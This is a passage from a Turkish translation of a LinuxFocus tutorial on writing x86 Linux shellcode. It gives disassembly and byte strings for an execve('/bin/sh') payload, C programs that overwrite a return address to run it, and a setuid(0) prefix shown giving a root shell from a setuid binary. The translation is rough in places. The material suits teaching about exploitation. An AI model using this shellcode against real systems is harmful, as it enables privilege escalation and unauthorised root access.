08048398 <main>: 8048398: 55 pushl %ebp 8048399: 89 e5 movl %esp,%ebp 804839b: eb 1f jmp 80483bc <subroutine_call> 0804839d <subroutine>: 804839d: 5e popl %esi 804839e: 89 76 08 movl %esi,0x8(%esi) 80483a1: 31 c0 xorl %eax,%eax 80483a3: 89 46 0c movb %eax,0xc(%esi) 80483a6: 88 46 07 movb %al,0x7(%esi) 80483a9: b0 0b movb $0xb,%al 80483ab: 89 f3 movl %esi,%ebx 80483ad: 8d 4e 08 leal 0x8(%esi),%ecx 80483b0: 8d 56 0c leal 0xc(%esi),%edx 80483b3: cd 80 int $0x80 80483b5: 31 db xorl %ebx,%ebx 80483b7: 89 d8 movl %ebx,%eax 80483b9: 40 incl %eax 80483ba: cd 80 int $0x80 080483bc <subroutine_call>: 80483bc: e8 dc ff ff ff call 804839d <subroutine> 80483c1: 2f das 80483c2: 62 69 6e boundl 0x6e(%ecx),%ebp 80483c5: 2f das 80483c6: 73 68 jae 8048430 <_IO_stdin_used+0x14> 80483c8: 00 c9 addb %cl,%cl 80483ca: c3 ret 80483cb: 90 nop 80483cc: 90 nop 80483cd: 90 nop 80483ce: 90 nop 80483cf: 90 nop
Veri 80483c1 adresinden sonra gelir ve talimatları ifade etmez, fakat
"/bin/sh
" string karakterleri (in hexadécimal, sıra
2f 62 69 6e 2f 73 68 00
)ve rasgele byte'lar.Kod başka sıfır
tutmaz sadece null karakterini tutar string'in sonunda 80483c8.
Şimdi programımızı test edelim :
$ ./shellcode4 Segmentation fault (core dumped) $
Ooops!Çok iyi bir sonuç değil.Eğer bit şeklinde düşünürsek hafıza
alanınındaki main()
fonksiyonu buluruz.(örneğin
text
alanından bahsedildimakalenin başında) sadece-oku.Kabuk kodu
bunu değiştiremez.Ne yaapabiliriz kabuk kodunu test etmek için?Sadece-oku
problemini çözmek için kabuk kodu veri alanına konulması gereklidir.
Gelin bir array koyalım global değişken gibi davranan.Bir başka oyun da kabuk
kodunu çalıştırabilsin main()
fonksiyonu ile yığıtta bulunan geri
dönüşüm adresini değiştirelim.Unutmayın ki main
fonksiyonu
bir "standard" rutindirve kodun bir parçası olarak tanımlanır.Geri dönüş
adresi karakterlerin array'leri yığıtın en altında yer aldığı zaman tekrar
yazılır.
/* shellcode5.c */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int * ret; /* +2 will behave as a 2 words offset */ /* (i.e. 8 bytes) to the top of the stack : */ /* - the first one for the reserved word for the local variable */ /* - the second one for the saved %ebp register */ * ((int *) & ret + 2) = (int) shellcode; return (0); }
Now, we can test our shellcode :
$ cc shellcode5.c -o shellcode5 $ ./shellcode5 bash$ exit $
Hatta shellcode5
programını da yükleyelim.UID
root kuralım ve kabuğu dataileb kontrol edelim :
$ su Password: # chown root.root shellcode5 # chmod +s shellcode5 # exit $ ./shellcode5 bash# whoami root bash# exit $
Bu kabuk kodu bir bakımdan sınırlıdır (evet, kötü değil biraz byte ile).Örneğin,test programımız şöyle olursa :
/* shellcode5bis.c */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int * ret; seteuid(getuid()); * ((int *) & ret + 2) = (int) shellcode; return (0); }uygulamanın UID etkilerini sabitledik daha önceki makalede belirttiğimiz gibi.Şimdi kabuk ayrıcalıksız çalışabilir :
$ su Password: # chown root.root shellcode5bis # chmod +s shellcode5bis # exit $ ./shellcode5bis bash# whoami pappy bash# exit $Bununla birlikte
seteuid(getuid())
talimatı koruma
için çok etkili değildir. setuid(0);
kaydı kabuk kodunun
başlangıcına eştir doğru linkleri EUID'ye almak için :
char setuid[] = "\x31\xc0" /* xorl %eax, %eax */ "\x31\xdb" /* xorl %ebx, %ebx */ "\xb0\x17" /* movb $0x17, %al */ "\xcd\x80";Bunu bizim daha önceki kabuk koduna indirgediğimizde örneğimiz :
/* shellcode6.c */ char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int * ret; seteuid(getuid()); * ((int *) & ret + 2) = (int) shellcode; return (0); }Şimdi nasıl çalıştığını kontrol edelim :
$ su Password: # chown root.root shellcode6 # chmod +s shellcode6 # exit $ ./shellcode6 bash# whoami root bash# exit $Son örnekte görüldüğü gibi kabuğa fonksiyon eklemek mümkündür. ,örneğin dizinden çıkmak için
chroot()
fonksiyonu kullanmak gereklidir veye soket kullanarak
uzaktan kabuğa ulaşmak gereklidir.
Bu tip değişiklikler bazen bazı byte'ların değerine adapte olmayı ima eder. :
eb XX |
<subroutine_call> |
XX = number of bytes to reach <subroutine_call> |
<subroutine>: |
||
5e |
popl %esi |
|
89 76 XX |
movl %esi,XX(%esi) |
XX = position of the first item in the argument array (i.e. the command address). This offset is equal to the number of characters in the command, '\0' included. |
31 c0 |
xorl %eax,%eax |
|
89 46 XX |
movb %eax,XX(%esi) |
XX = position of the second item in the array, here, having a NULL value. |
88 46 XX |
movb %al,XX(%esi) |
XX = position of the end of string '\0'. |
b0 0b |
movb $0xb,%al |
|
89 f3 |
movl %esi,%ebx |
|
8d 4e XX |
leal XX(%esi),%ecx |
XX = offset to reach the first item in the argument array and to
put it in the %ecx register |
8d 56 XX |
leal XX(%esi),%edx |
XX = offset to reach the second item in the argument array and to
put it in the %edx register |
cd 80 |
int $0x80 |
|
31 db |
xorl %ebx,%ebx |
|
89 d8 |
movl %ebx,%eax |
|
40 |
incl %eax |
|
cd 80 |
int $0x80 |
|
<subroutine_call>: |
||
e8 XX XX XX XX |
call <subroutine> |
these 4 bytes correspond to the number of bytes to reach <subroutine> (negative number, written in little endian) |
Yaklaşık 40 byte program yazdık ve bunlar harici komutlarla çalışabilirler. Son örneklerimiz yığıtların nasıl parçalanabildiği konusunda fikir vermektedirler.Bu mekanizma üzerindeki ayrıntılar bir sonraki makalede yer almaktadır...
|
Görselyöre sayfalarının bakımı, LinuxFocus Editörleri tarafından yapılmaktadır
© Frédéric Raynal, Christophe Blaess, Christophe Grenier, FDL LinuxFocus.org Burayı klikleyerek hataları rapor edebilir ya da yorumlarınızı LinuxFocus'a gönderebilirsiniz |
Çeviri bilgisi:
|
2001-03-17, generated by lfparser version 2.9